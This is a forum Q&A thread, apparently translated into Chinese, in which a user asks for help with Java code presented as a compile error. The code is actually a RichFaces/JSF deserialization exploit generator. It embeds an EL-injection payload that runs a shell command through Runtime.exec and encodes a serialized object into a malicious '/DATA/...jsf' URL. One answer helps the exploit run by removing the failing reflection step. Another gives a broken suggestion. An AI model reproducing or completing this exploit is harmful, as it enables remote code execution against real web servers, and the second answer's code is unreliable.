编译时收到错误消息（Java Web 项目）

Question

我已经尝试编译这个 java 程序一个多星期了，但没有成功。我目前正在尝试在 Windows 10 x64 环境下在 Eclipse 中编译以下项目：

public  class  Main  {

    public static void main(String[] args) throws Exception{

        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch /tmp/aaaaa\")}";
        // tomcat8.5.24 MethodExpression serialVersionUID
        Long MethodExpressionSerialVersionUID = 8163925562047324656L;
        Class clazz = Class.forName("javax.el.MethodExpression");
        Field field = clazz.getField("serialVersionUID");
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        field.setLong(null, MethodExpressionSerialVersionUID);

        // createContent
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);

        Class<?> cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor<?> ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);
        Object createContnet = ct.newInstance(null, tagMethodExpression);

        //value
        Object value = "haveTest";

        //modified
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        Object modified = ct.newInstance(null, tagValueExpression);

        //expires
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        Object expires = ct.newInstance(null, tagValueExpression2);

        //payload object
        UserResource.UriData uriData = new UserResource.UriData();
        //Constructor con = UserResource.class.getConstructor(new Class[]{});
        Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
        fieldCreateContent.setAccessible(true);
        fieldCreateContent.set(uriData, createContnet);
        Field fieldValue = uriData.getClass().getDeclaredField("value");
        fieldValue.setAccessible(true);
        fieldValue.set(uriData, value);
        Field fieldModefied = uriData.getClass().getDeclaredField("modified");
        fieldModefied.setAccessible(true);
        fieldModefied.set(uriData, modified);
        Field fieldExpires = uriData.getClass().getDeclaredField("expires");
        fieldExpires.setAccessible(true);
        fieldExpires.set(uriData, expires);


        //encrypt
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);

        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    }
}

我在使用 Eclipse 编译时收到以下错误消息：

Exception in thread "main" java.lang.NoSuchFieldException: serialVersionUID
    at java.lang.Class.getField(Unknown Source)
    at Main.main(Main.java:30)

如果有帮助，我还可以在 64 位环境下使用 Ubuntu 14.04 下运行家里的另一台计算机，如果这样可能更容易进行故障排除或添加插件.. .

如有任何帮助，我们将不胜感激。只要我可以编译并从此 Java 程序获得有效输出，请随意进行任何修改 and/or 建议。谢谢

Answer 1

只需注释掉所有 c..p:

    //Class clazz = Class.forName("javax.el.MethodExpression");
    //Field field = clazz.getField("serialVersionUID");
    //field.setAccessible(true);
    //Field modifiersField = Field.class.getDeclaredField("modifiers");
    //modifiersField.setAccessible(true);
    //modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    //field.setLong(null, MethodExpressionSerialVersionUID);

顺便说一下，如果你必须破解你的库才能使用私有组件，那意味着你做错了......（99.9% 的时间）

Answer 2

它没有在您的 class 中找到 serialVersionUID 字段。只是一个想法，也许它需要一个实例？尝试类似的东西：

Class clazz = Class.forName("javax.el.MethodExpression");
Object obj = clazz.newInstance();
MethodExpression me = (MethodExpression) obj;
Field field = me.getField("serialVersionUID");

编译时收到错误消息（Java Web 项目）

Getting error message when compiling (Java Web Project)

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eclipse-jee